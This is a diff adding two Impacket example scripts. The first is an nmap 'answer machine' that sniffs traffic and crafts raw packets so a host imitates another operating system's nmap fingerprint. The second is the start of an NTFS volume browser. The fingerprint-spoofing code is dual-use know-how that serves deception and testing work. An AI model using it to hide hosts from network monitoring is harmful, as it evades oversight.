+       # U: Urgent pointer non-zero and URG flag clear
+       try: 
+          if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800)
+       except: pass
+       try: 
+          if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff)
+       except: pass
+
+       # Test F: TCP Flags
+       try: flags = f['F']
+       except: flags = ''
+       if 'E' in flags: out_onion[O_TCP].set_ECE()
+       if 'U' in flags: out_onion[O_TCP].set_URG()
+       if 'A' in flags: out_onion[O_TCP].set_ACK()
+       if 'P' in flags: out_onion[O_TCP].set_PSH()
+       if 'R' in flags: out_onion[O_TCP].set_RST()
+       if 'S' in flags: out_onion[O_TCP].set_SYN()
+       if 'F' in flags: out_onion[O_TCP].set_FIN()
+
+       # Test RD: TCP Data checksum (mostly for data in RST)
+       try:
+           crc = f['RD']
+           if crc != '0':	# when the
+               crc = int(crc, 16)
+               data  = 'TCP Port is closed\x00'
+               data += uncrc32.compensate(data, crc)
+               data = ImpactPacket.Data(data) 
+               out_onion.append(data)
+               out_onion[O_TCP].contains(data)
+       except:
+           pass
+       return out_onion
+
+   def setTCPOptions(self, onion, options):
+       def getValue(string, i):
+           value = 0
+           
+           idx = i
+           for c in options[i:]:
+               try:
+                   value = value * 0x10 + int(c,16)
+               except:
+                   break
+               idx += 1
+
+           return value, idx
+
+       # Test O,O1=O6: TCP Options
+       # L: End of Options
+       # N: NOP
+       # S: Selective ACK
+       # Mx: MSS (x is a hex number)
+       # Wx: Windows Scale (x is a hex number)
+       # Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr
+
+       i = 0
+       tcp = onion[O_TCP]
+       while i < len(options):
+          opt = options[i]
+          i += 1
+          if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL))
+          if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP))
+          if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED))
+          if opt == 'T':
+             opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP)  # default ts = 0, ts_echo = 0
+             if options[i] == '1':  opt.set_ts(self.machine.getTCPTimeStamp())
+             if options[i+1] == '1': opt.set_ts_echo(0xffffffff)
+             tcp.add_option(opt)
+             i += 2
+          if opt == 'M':
+             maxseg, i = getValue(options, i)
+             tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg))
+          if opt == 'W':
+             window, i = getValue(options, i)
+             tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window))
+
+class nmap2_SEQ(NMAP2TCPResponder):
+   templateClass = None
+   signatureName = None
+   seqNumber     = None
+
+   def initFingerprint(self):
+       NMAP2TCPResponder.initFingerprint(self)
+       if not self.seqNumber: return
+       else:
+          OPS = self.machine.fingerprint.get_tests()['OPS']
+          WIN = self.machine.fingerprint.get_tests()['WIN']
+          self.fingerprint['O'] = OPS['O%d' % self.seqNumber]
+          self.fingerprint['W'] = WIN['W%d' % self.seqNumber]
+
+class nmap2_ECN(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_ecn_probe
+   signatureName      = 'ECN'
+
+class nmap2_SEQ1(nmap2_SEQ):
+   templateClass = os_ident.nmap2_seq_1
+   signatureName = 'T1'
+   seqNumber     = 1
+
+class nmap2_SEQ2(nmap2_SEQ):
+   templateClass = os_ident.nmap2_seq_2
+   signatureName = 'T1'
+   seqNumber     = 2
+
+class nmap2_SEQ3(nmap2_SEQ):
+   templateClass = os_ident.nmap2_seq_3
+   signatureName = 'T1'
+   seqNumber     = 3
+
+class nmap2_SEQ4(nmap2_SEQ):
+   templateClass = os_ident.nmap2_seq_4
+   signatureName = 'T1'
+   seqNumber     = 4
+
+class nmap2_SEQ5(nmap2_SEQ):
+   templateClass = os_ident.nmap2_seq_5
+   signatureName = 'T1'
+   seqNumber     = 5
+
+class nmap2_SEQ6(nmap2_SEQ):
+   templateClass = os_ident.nmap2_seq_6
+   signatureName = 'T1'
+   seqNumber     = 6
+
+class nmap2_T2(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_tcp_open_2
+   signatureName = 'T2'
+
+class nmap2_T3(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_tcp_open_3
+   signatureName = 'T3'
+
+class nmap2_T4(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_tcp_open_4
+   signatureName = 'T4'
+
+class nmap2_T5(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_tcp_closed_1
+   signatureName = 'T5'
+
+class nmap2_T6(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_tcp_closed_2
+   signatureName = 'T6'
+
+class nmap2_T7(NMAP2TCPResponder):
+   templateClass = os_ident.nmap2_tcp_closed_3
+   signatureName = 'T7'
+
+class nmap2_ICMP_1(NMAP2ICMPResponder):
+   templateClass = os_ident.nmap2_icmp_echo_probe_1
+   signatureName = 'IE'
+
+class nmap2_ICMP_2(NMAP2ICMPResponder):
+   templateClass = os_ident.nmap2_icmp_echo_probe_2
+   signatureName = 'IE'
+
+class Machine:
+   AssumedTimeIntervalPerPacket = 0.11 # seconds
+   def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'):
+       self.interface = interface
+       self.ipAddress = ipAddress
+       self.macAddress = macAddress
+       self.responders = []
+       self.decoder = ImpactDecoder.EthDecoder()
+
+       self.initPcap()
+       self.initFingerprint(emmulating, nmapOSDB)
+
+       self.initSequenceGenerators()
+       self.openTCPPorts = openTCPPorts
+       self.openUDPPorts = openUDPPorts
+       print(self)
+
+   def openUDPPort(self, port):
+       if self.isUDPPortOpen(port): return
+       self.openUDPPorts.append(port)
+
+   def isUDPPortOpen(self, port):
+       return port in self.openUDPPorts
+
+   def isTCPPortOpen(self, port):
+       return port in self.openTCPPorts
+
+   def initPcap(self):
+       self.pcap = pcapy.open_live(self.interface, 65535, 1, 0)
+       try:       self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress))
+       except:    self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00)
+
+   def initGenericResponders(self):
+       # generic responders
+       self.addResponder(ARPResponder(self))
+       self.addResponder(OpenUDPResponder(self))
+       self.addResponder(ClosedUDPResponder(self))
+       self.addResponder(OpenTCPResponder(self))
+       self.addResponder(ClosedTCPResponder(self))
+
+   def initFingerprint(self, emmulating, nmapOSDB):
+       fpm = os_ident.NMAP2_Fingerprint_Matcher('')
+       f = open(nmapOSDB, 'r')
+       for text in fpm.fingerprints(f):
+           fingerprint = fpm.parse_fp(text)
+           if fingerprint.get_id() == emmulating:
+              self.fingerprint = fingerprint
+              self.simplifyFingerprint()
+              # print(fingerprint)
+              return
+
+       raise Exception("Couldn't find fingerprint data for %r" % emmulating)
+
+   def simplifyFingerprint(self):
+       tests = self.fingerprint.get_tests()
+       for probeName in tests:
+           probe = tests[probeName]
+           for test in probe:
+               probe[test] = probe[test].split('|')[0]
+               
+   def initSequenceGenerators(self):
+       self.initIPIDGenerator()
+       self.initTCPISNGenerator()
+       self.initTCPTSGenerator()
+
+   def initIPIDGenerator(self):
+       seq = self.fingerprint.get_tests()['SEQ']
+       self.ip_ID = 0
+
+       try: TI = seq['TI']
+       except: TI = 'O'
+
+       if   TI == 'Z': self.ip_ID_delta = 0
+       elif TI == 'RD': self.ip_ID_delta = 30000
+       elif TI == 'RI': self.ip_ID_delta = 1234
+       elif TI == 'BI': self.ip_ID_delta = 1024+256
+       elif TI == 'I': self.ip_ID_delta = 1
+       elif TI == 'O': self.ip_ID_delta = 123
+       else: self.ip_ID_delta = int(TI, 16)
+
+       try: ss = seq['SS']
+       except: ss = 'O'
+
+       self.ip_ID_ICMP_delta = None
+       if ss == 'S': self.ip_ID_ICMP = None
+       else:
+          self.ip_ID_ICMP = 0
+          try: II = seq['II']
+          except: II = 'O'
+
+          if   II == 'Z': self.ip_ID_ICMP_delta = 0
+          elif II == 'RD': self.ip_ID_ICMP_delta = 30000
+          elif II == 'RI': self.ip_ID_ICMP_delta = 1234
+          elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256
+          elif II == 'I': self.ip_ID_ICMP_delta = 1
+          elif II == 'O': self.ip_ID_ICMP_delta = 123
+          else: self.ip_ID_ICMP_delta = int(II, 16)
+
+       # generate a few, so we don't start with 0 when we don't have to
+       for i in range(10):
+           self.getIPID()
+           self.getIPID_ICMP()
+
+       print("IP ID Delta: %d" % self.ip_ID_delta)
+       print("IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta)
+
+   def initTCPISNGenerator(self):
+       # tcp_ISN and tcp_ISN_delta for TCP Initial sequence numbers
+       self.tcp_ISN = 0
+       try:
+          self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16)
+       except:
+          self.tcp_ISN_GCD = 1
+
+       try:
+          isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-')
+          if len(isr) == 1:
+             isr = int(isr[0], 16)
+          else:
+             isr = (int(isr[0], 16) + int(isr[1], 16)) / 2
+       except:
+          isr = 0
+
+       try:
+          sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-')
+          sp = int(sp[0], 16)
+       except:
+          sp = 0
+
+       self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4  # n-1 on small populations... erm...
+
+       if self.tcp_ISN_GCD > 9:
+          self.tcp_ISN_stdDev *= self.tcp_ISN_GCD
+
+       self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket
+
+       self.tcp_ISN_delta  = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket
+
+       # generate a few, so we don't start with 0 when we don't have to
+       for i in range(10): self.getTCPSequence()
+
+       print("TCP ISN Delta: %f" % self.tcp_ISN_delta)
+       print("TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev)
+
+   def initTCPTSGenerator(self):
+       # tcp_TS and tcp_TS_delta for TCP Time stamp generation
+       self.tcp_TS = 0
+
+       try: ts = self.fingerprint.get_tests()['SEQ']['TS']
+       except: ts = 'U'
+
+       if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0
+       else:
+           self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket
+
+       # generate a few, so we don't start with 0 when we don't have to
+       for i in range(10): self.getTCPTimeStamp()
+
+       print("TCP TS Delta: %f" % self.tcp_TS_delta)
+
+   def getIPID(self):
+       answer = self.ip_ID
+       self.ip_ID += self.ip_ID_delta
+       self.ip_ID %= 0x10000
+       # print("IP ID: %x" % answer)
+       return answer
+
+   def getIPID_ICMP(self):
+       if self.ip_ID_ICMP is None:
+          return self.getIPID()
+
+       answer = self.ip_ID_ICMP
+       self.ip_ID_ICMP += self.ip_ID_ICMP_delta
+       self.ip_ID_ICMP %= 0x10000
+       # print("---> IP ID: %x" % answer)
+       return answer
+
+   def getTCPSequence(self):
+       answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random()
+       self.tcp_ISN_stdDev *= -1
+       answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD)
+       self.tcp_ISN += self.tcp_ISN_delta
+       self.tcp_ISN %= 0x100000000
+       # print("---> TCP Sequence: %d" % (answer % 0x100000000))
+       return answer % 0x100000000
+
+   def getTCPTimeStamp(self):
+       answer = int(round(self.tcp_TS))
+       self.tcp_TS += self.tcp_TS_delta
+       self.tcp_TS %= 0x100000000
+       # print("---> TCP Time Stamp: %x" % answer)
+       return answer
+
+   def sendPacket(self, onion):
+       if not onion: return
+       print("--> Packet sent:")
+       #print(onion[0])
+       #print()
+       self.pcap.sendpacket(onion[O_ETH].get_packet())
+
+   def addResponder(self, aResponder):
+       self.responders.append(aResponder)
+
+   def run(self):
+       while 1:
+          p = self.pcap.next()
+          try:    in_onion = [self.decoder.decode(p[1])]
+          except: in_onion = [self.decoder.decode(p[0])]
+          try:
+             while 1: in_onion.append(in_onion[-1].child())
+          except:
+             pass
+
+          #print("-------------- Received: ", in_onion[0])
+          for r in self.responders:
+              if r.process(in_onion): break
+
+
+def main():
+   def initResponders(machine):
+       # cmd responder
+       # machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT))
+
+       # nmap2 specific responders
+       machine.addResponder(nmap2_SEQ1(machine))
+       machine.addResponder(nmap2_SEQ2(machine))
+       machine.addResponder(nmap2_SEQ3(machine))
+       machine.addResponder(nmap2_SEQ4(machine))
+       machine.addResponder(nmap2_SEQ5(machine))
+       machine.addResponder(nmap2_SEQ6(machine))
+       machine.addResponder(nmap2_ECN(machine))
+       machine.addResponder(nmap2_T2(machine))
+       machine.addResponder(nmap2_T3(machine))
+       machine.addResponder(nmap2_T4(machine))
+       machine.addResponder(nmap2_T5(machine))
+       machine.addResponder(nmap2_T6(machine))
+       machine.addResponder(nmap2_T7(machine))
+       machine.addResponder(nmap2_ICMP_1(machine))
+       machine.addResponder(nmap2_ICMP_2(machine))
+       machine.addResponder(NMAP2UDPResponder(machine))
+
+   from sys import argv, exit
+   def usage():
+       print("""
+       if arg == '-h': usage()
+       if arg == '--help': usage()
+       if arg == '-f': Fingerprint = value
+       if arg == '-p': IP = value
+       if arg == '-m': MAC = value
+       if arg == '-i': IFACE = value
+       if arg == '-d': nmapOsDB = value
+
+   where:
+       arg = argv[i]
+       value = argv[i+1]
+       """)
+       exit()
+
+   global Fingerprint, IFACE, MAC, IP, nmapOSDB
+   for i, arg in enumerate(argv):
+       try: value = argv[i+1]
+       except: value = None
+       if arg == '-h': usage()
+       if arg == '--help': usage()
+       if arg == '-f': Fingerprint = value
+       if arg == '-p': IP = value
+       if arg == '-m': MAC = value
+       if arg == '-i': IFACE = value
+       if arg == '-d': nmapOSDB = value
+
+   print("Emulating: %r" % Fingerprint)
+   print("at %s / %s / %s" % (IFACE, MAC, IP))
+   machine = Machine(
+       Fingerprint,
+       IFACE,
+       IP,
+       MAC,
+       OPEN_TCP_PORTS,
+       OPEN_UDP_PORTS,
+       nmapOSDB=nmapOSDB)
+
+   initResponders(machine)
+   machine.initGenericResponders()
+   machine.run()
+
+if __name__ == '__main__':
+   # Init the example's logger theme
+   logger.init()
+   main()
+
+# All Probes
+# [x] SEQ
+# [x] OPS
+# [x] WIN
+# [x] T1
+# [x] T2
+# [x] T3
+# [x] T4
+# [x] T5
+# [x] T6
+# [x] T7
+# [x] IE
+# [x] ECN
+# [x] U1
+
+# All Tests
+
+# SEQ()
+# [x] TCP ISN sequence predictability index (SP)
+# [x] TCP ISN greatest common divisor (GCD)
+# [x] TCP ISN counter rate (ISR)
+# [x] IP ID sequence generation algorithm on TCP Open ports (TI)
+#   [x] Z  - All zeros
+#   [x] RD - Random: It increments at least once by at least 20000.
+#   [-] Hex Value - fixed IP ID
+#   [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0)
+#   [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120.
+#   [x] I - Incremental. All delta_i < 10
+#   [x] O - (Omitted, the test does not show in the fingerprint). None of the other
+# [-] IP ID sequence generation algorithm on TCP closed ports (CI)
+# [x] IP ID sequence generation algorithm on ICMP messages (II)
+# [x] Shared IP ID sequence Boolean (SS)
+# [x] TCP timestamp option algorithm (TS)
+#   [x] U - unsupported (don't send TS)
+#   [x] 0 - Zero
+#   [x] 1 - 0-5.66 (2 Hz)
+#   [x] 7 - 70-150 (100 Hz)
+#   [x] 8 - 150-350 (200 Hz)
+#   [x]   - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2)))
+#           time_diff = 0.11 segs
+# OPS()
+# [x] TCP options (O, O1-O6)
+# WIN()
+# [x] TCP initial window size (W, W1-W6)
+# ECN, T1-T7
+# [x] TCP options (O, O1-O6)
+# [x] TCP initial window size (W, W1-W6)
+# [x] Responsiveness (R)
+# [x] IP don't fragment bit (DF)
+# [x] IP initial time-to-live (T)
+# [x] IP initial time-to-live guess (TG)
+# [x] Explicit congestion notification (CC)
+# [x] TCP miscellaneous quirks (Q)
+# [x] TCP sequence number (S)
+# [x] TCP acknowledgment number (A)
+# [x] TCP flags (F)
+# [x] TCP RST data checksum (RD)
+# IE()
+# [x] Responsiveness (R)
+# [x] Don't fragment (ICMP) (DFI)
+# [x] IP initial time-to-live (T)
+# [x] IP initial time-to-live guess (TG)
+# [x] ICMP response code (CD)
+#-[x] IP Type of Service (TOSI)
+#-[x] ICMP Sequence number (SI)
+#-[x] IP Data Length (DLI)
+# U1()
+# [x] Responsiveness (R)
+# [x] IP don't fragment bit (DF)
+# [x] IP initial time-to-live (T)
+# [x] IP initial time-to-live guess (TG)
+# [x] IP total length (IPL)
+# [x] Unused port unreachable field nonzero (UN)
+# [x] Returned probe IP total length value (RIPL)
+# [x] Returned probe IP ID value (RID)
+# [x] Integrity of returned probe IP checksum value (RIPCK)
+# [x] Integrity of returned probe UDP checksum (RUCK)
+# [x] Integrity of returned UDP data (RUD)
+# [-] ??? (TOS) Type of Service
+# [-] ??? (RUL) Length of return UDP packet is correct
+
+# sudo nmap -O 127.0.0.2 -p 22,111,89
+# sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)'
diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py
new file mode 100644
index 0000000..9a14779
--- /dev/null
+++ b/examples/ntfs-read.py
@@ -0,0 +1,1228 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Mini shell for browsing an NTFS volume
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   Structure. Quick and dirty implementation.. just for fun.. ;)
+#
+#   NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project..
+#
+# ToDo:
+#   [] Parse the attributes list attribute. It is unknown what would happen now if
+#      we face a highly fragmented file that will have many attributes that won't fit
+#      in the MFT Record.
+#   [] Support compressed, encrypted and sparse files
+#
+
+from __future__ import division
+from __future__ import print_function
+import os
+import sys
+import logging
+import struct
+import argparse
+import cmd
+import ntpath
+# If you wanna have readline like functionality in Windows, install pyreadline
+try:
+  import pyreadline as readline
+except ImportError:
+  import readline
+from six import PY2, text_type
+from datetime import datetime
+from impacket.examples import logger
+from impacket import version
+from impacket.structure import Structure
+
+
+def pretty_print(x):
+    visible = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ '
+    return x if x in visible else '.'
+
+def hexdump(data):
+    x = str(data)
+    strLen = len(x)
+    i = 0
+    while i < strLen:
+        print("%04x  " % i, end=' ')
+        for j in range(16):
+            if i+j < strLen:
+                print("%02X" % ord(x[i+j]), end=' ')
+            else:
+                print("  ", end=' ')
+            if j%16 == 7:
+                print("", end=' ')
+        print(" ", end=' ')
+        print(''.join(pretty_print(x) for x in x[i:i+16] ))
+        i += 16
+
+# Reserved/fixed MFTs
+FIXED_MFTS = 16
+
+# Attribute types
+UNUSED                        = 0
+STANDARD_INFORMATION          = 0x10
+ATTRIBUTE_LIST                = 0x20
+FILE_NAME                     = 0x30
+OBJECT_ID                     = 0x40
+SECURITY_DESCRIPTOR           = 0x50
+VOLUME_NAME                   = 0x60
+VOLUME_INFORMATION            = 0x70
+DATA                          = 0x80
+INDEX_ROOT                    = 0x90
+INDEX_ALLOCATION              = 0xa0
+BITMAP                        = 0xb0
+REPARSE_POINT                 = 0xc0
+EA_INFORMATION                = 0xd0
+EA                            = 0xe0
+PROPERTY_SET                  = 0xf0
+LOGGED_UTILITY_STREAM         = 0x100
+FIRST_USER_DEFINED_ATTRIBUTE  = 0x1000
+END                           = 0xffffffff
+
+# Attribute flags
+ATTR_IS_COMPRESSED     = 0x0001
+ATTR_COMPRESSION_MASK  = 0x00ff
+ATTR_IS_ENCRYPTED      = 0x4000
+ATTR_IS_SPARSE         = 0x8000
+
+# FileName type flags
+FILE_NAME_POSIX = 0x00
+FILE_NAME_WIN32 = 0x01
+FILE_NAME_DOS   = 0x02
+FILE_NAME_WIN32_AND_DOS = 0x03
+
+# MFT Record flags
+MFT_RECORD_IN_USE        = 0x0001
+MFT_RECORD_IS_DIRECTORY  = 0x0002
+MFT_RECORD_IS_4          = 0x0004
+MFT_RECORD_IS_VIEW_INDEX = 0x0008
+MFT_REC_SPACE_FILLER     = 0xfffff
+
+# File Attribute Flags
+FILE_ATTR_READONLY            = 0x0001
+FILE_ATTR_HIDDEN              = 0x0002
+FILE_ATTR_SYSTEM              = 0x0004
+FILE_ATTR_DIRECTORY           = 0x0010
+FILE_ATTR_ARCHIVE             = 0x0020
+FILE_ATTR_DEVICE              = 0x0040
+FILE_ATTR_NORMAL              = 0x0080
+FILE_ATTR_TEMPORARY           = 0x0100
+FILE_ATTR_SPARSE_FILE         = 0x0200
+FILE_ATTR_REPARSE_POINT       = 0x0400
+FILE_ATTR_COMPRESSED          = 0x0800
+FILE_ATTR_OFFLINE             = 0x1000
+FILE_ATTR_NOT_CONTENT_INDEXED = 0x2000
+FILE_ATTR_ENCRYPTED           = 0x4000
+FILE_ATTR_VALID_FLAGS         = 0x7fb7
+FILE_ATTR_VALID_SET_FLAGS     = 0x31a7
+FILE_ATTR_I30_INDEX_PRESENT   = 0x10000000
+FILE_ATTR_VIEW_INDEX_PRESENT  = 0x20000000
+
+# NTFS System files
+FILE_MFT      = 0
+FILE_MFTMirr  = 1
+FILE_LogFile  = 2
+FILE_Volume   = 3
+FILE_AttrDef  = 4
+FILE_Root     = 5
+FILE_Bitmap   = 6
+FILE_Boot     = 7
+FILE_BadClus  = 8
+FILE_Secure   = 9
+FILE_UpCase   = 10
+FILE_Extend   = 11
+
+# Index Header Flags
+SMALL_INDEX = 0
+LARGE_INDEX = 1
+LEAF_NODE   = 0
+INDEX_NODE  = 1
+NODE_MASK   = 0
+
+# Index Entry Flags
+INDEX_ENTRY_NODE         = 1
+INDEX_ENTRY_END          = 2
+INDEX_ENTRY_SPACE_FILLER = 0xffff
+
+
+class NTFS_BPB(Structure):
+    structure = (
+        ('BytesPerSector','<H=0'),
+        ('SectorsPerCluster','B=0'),
+        ('ReservedSectors','<H=0'),
+        ('Reserved','3s=b""'),
+        ('Reserved2','2s=b""'),
+        ('MediaDescription','B=0'),
+        ('Reserved3','2s=b""'),
+        ('Reserved4','<H=0'),
+        ('Reserved5','<H=0'),
+        ('Reserved6','<L=0'),
+        ('Reserved7','4s=b""'),
+    )
+
+class NTFS_EXTENDED_BPB(Structure):
+    structure = (
+        ('Reserved','4s=b""'),
+        ('TotalSectors','<Q=0'),
+        ('MFTClusterNumber','<Q=0'),
+        ('MFTMirrClusterNumber','<Q=0'),
+        ('ClusterPerFileRecord','b=0'),
+        ('Reserved2','3s=b""'),
+        ('ClusterPerIndexBuffer','<b=0'),
+        ('Reserved3','3s=b""'),
+        ('VolumeSerialNumber','8s=b""'),
+        ('CheckSum','4s=b""'),
+    )
+
+class NTFS_BOOT_SECTOR(Structure):
+    structure = (
+        ('JmpInstr','3s=b""'),
+        ('OEM_ID','8s=b""'),
+        ('BPB','25s=b""'),
+        ('ExtendedBPB','48s=b""'),
+        ('Bootstrap','426s=b""'),
+        ('EOS','<H=0'),
+    )
+
+class NTFS_MFT_RECORD(Structure):
+    structure = (
+        ('MagicLabel','4s=b""'),
+        ('USROffset','<H=0'), # Update Sequence Records Offset
+        ('USRSize','<H=0'), # Update Sequence Records Size
+        ('LogSeqNum','<Q=0'),
+        ('SeqNum','<H=0'),
+        ('LinkCount','<H=0'),
+        ('AttributesOffset','<H=0'),
+        ('Flags','<H=0'),
+        ('BytesInUse','<L=0'),
+        ('BytesAllocated','<L=0'),
+        ('BaseMftRecord','<Q=0'),
+        ('NextAttrInstance','<H=0'),
+        ('Reserved','<H=0'),
+        ('RecordNumber','<L=0'),
+    )
+
+class NTFS_ATTRIBUTE_RECORD(Structure):
+    commonHdr = (
+        ('Type','<L=0'),
+        ('Length','<L=0'),
+        ('NonResident','B=0'),
+        ('NameLength','B=0'),
+        ('NameOffset','<H=0'),
+        ('Flags','<H=0'),
+        ('Instance','<H=0'),
+    )
+    structure = ()
+
+class NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(Structure):
+    structure = (
+        ('LowestVCN','<Q=0'),
+        ('HighestVCN','<Q=0'),
+        ('DataRunsOffset','<H=0'),
+        ('CompressionUnit','<H=0'),
+        ('Reserved1','4s=""'),
+        ('AllocatedSize','<Q=0'),
+        ('DataSize','<Q=0'),
+        ('InitializedSize','<Q=0'),
+#        ('CompressedSize','<Q=0'),
+    )
+
+class NTFS_ATTRIBUTE_RECORD_RESIDENT(Structure):
+    structure = (
+        ('ValueLen','<L=0'),
+        ('ValueOffset','<H=0'),
+        ('Flags','B=0'),
+        ('Reserved','B=0'),
+    )
+
+class NTFS_FILE_NAME_ATTR(Structure):
+    structure = (
+        ('ParentDirectory','<Q=0'),
+        ('CreationTime','<Q=0'),
+        ('LastDataChangeTime','<Q=0'),
+        ('LastMftChangeTime','<Q=0'),
+        ('LastAccessTime','<Q=0'),
+        ('AllocatedSize','<Q=0'),
+        ('DataSize','<Q=0'),
+        ('FileAttributes','<L=0'),
+        ('EaSize','<L=0'),
+        ('FileNameLen','B=0'),
+        ('FileNameType','B=0'),
+        ('_FileName','_-FileName','self["FileNameLen"]*2'),
+        ('FileName',':'),
+    )
+
+class NTFS_STANDARD_INFORMATION(Structure):
+    structure = (
+        ('CreationTime','<Q=0'),
+        ('LastDataChangeTime','<Q=0'),
+        ('LastMftChangeTime','<Q=0'),
+        ('LastAccessTime','<Q=0'),
+        ('FileAttributes','<L=0'),
+    )
+
+class NTFS_INDEX_HEADER(Structure):
+    structure = (
+        ('EntriesOffset','<L=0'),
+        ('IndexLength','<L=0'),
+        ('AllocatedSize','<L=0'),
+        ('Flags','B=0'),
+        ('Reserved','3s=b""'),
+    )
+
+class NTFS_INDEX_ROOT(Structure):
+    structure = (
+        ('Type','<L=0'),
+        ('CollationRule','<L=0'),
+        ('IndexBlockSize','<L=0'),
+        ('ClustersPerIndexBlock','B=0'),
+        ('Reserved','3s=b""'),
+        ('Index',':',NTFS_INDEX_HEADER),
+    )
+
+
+class NTFS_INDEX_ALLOCATION(Structure):
+    structure = (
+        ('Magic','4s=b""'),
+        ('USROffset','<H=0'), # Update Sequence Records Offset
+        ('USRSize','<H=0'), # Update Sequence Records Size
+        ('Lsn','<Q=0'),
+        ('IndexVcn','<Q=0'),
+        ('Index',':',NTFS_INDEX_HEADER),
+    )
+
+class NTFS_INDEX_ENTRY_HEADER(Structure):
+    structure = (
+        ('IndexedFile','<Q=0'),
+        ('Length','<H=0'),
+        ('KeyLength','<H=0'),
+        ('Flags','<H=0'),
+        ('Reserved','<H=0'),
+    )
+
+class NTFS_INDEX_ENTRY(Structure):
+    alignment = 8
+    structure = (
+        ('EntryHeader',':',NTFS_INDEX_ENTRY_HEADER),
+        ('_Key','_-Key','self["EntryHeader"]["KeyLength"]'),
+        ('Key',':'),
+        ('_Vcn','_-Vcn','(self["EntryHeader"]["Flags"] & 1)*8'),
+        ('Vcn',':')
+    )
+
+class NTFS_DATA_RUN(Structure):
+    structure = (
+        ('LCN','<q=0'),
+        ('Clusters','<Q=0'),
+        ('StartVCN','<Q=0'),
+        ('LastVCN','<Q=0'),
+    )
+
+def getUnixTime(t):
+    t -= 116444736000000000
+    t //= 10000000
+    return t
+
+
+class Attribute:
+    def __init__(self, iNode, data):
+        self.AttributeName = None
+        self.NTFSVolume = iNode.NTFSVolume
+        self.AttributeHeader = NTFS_ATTRIBUTE_RECORD(data)
+        if self.AttributeHeader['NameLength'] > 0 and self.AttributeHeader['Type'] != END:
+            self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le')
+
+    def getFlags(self):
+        return self.AttributeHeader['Flags']
+
+    def getName(self):
+        return self.AttributeName
+
+    def isNonResident(self):
+        return self.AttributeHeader['NonResident']
+
+    def dump(self):
+        return self.AttributeHeader.dump()
+
+    def getTotalSize(self):
+        return self.AttributeHeader['Length']
+
+    def getType(self):
+        return self.AttributeHeader['Type']
+
+class AttributeResident(Attribute):
+    def __init__(self, iNode, data):
+        logging.debug("Inside AttributeResident: iNode: %s" % iNode.INodeNumber)
+        Attribute.__init__(self,iNode,data)
+        self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):])
+        self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']]
+
+    def dump(self):
+        return self.ResidentHeader.dump()
+
+    def getFlags(self):
+        return self.ResidentHeader['Flags']
+
+    def getValue(self):
+        return self.AttrValue
+
+    def read(self,offset,length):
+        logging.debug("Inside Read: offset: %d, length: %d" %(offset,length))
+        return self.AttrValue[offset:][:length]
+
+    def getDataSize(self):
+        return len(self.AttrValue)
+
+class AttributeNonResident(Attribute):
+    def __init__(self, iNode, data):
+        logging.debug("Inside AttributeNonResident: iNode: %s" % iNode.INodeNumber)
+        Attribute.__init__(self,iNode,data)
+        self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):])
+        self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']]
+        self.DataRuns = []
+        self.ClusterSize = 0
+        self.parseDataRuns()
+
+    def dump(self):
+        return self.NonResidentHeader.dump()
+
+    def getDataSize(self):
+        return self.NonResidentHeader['InitializedSize']
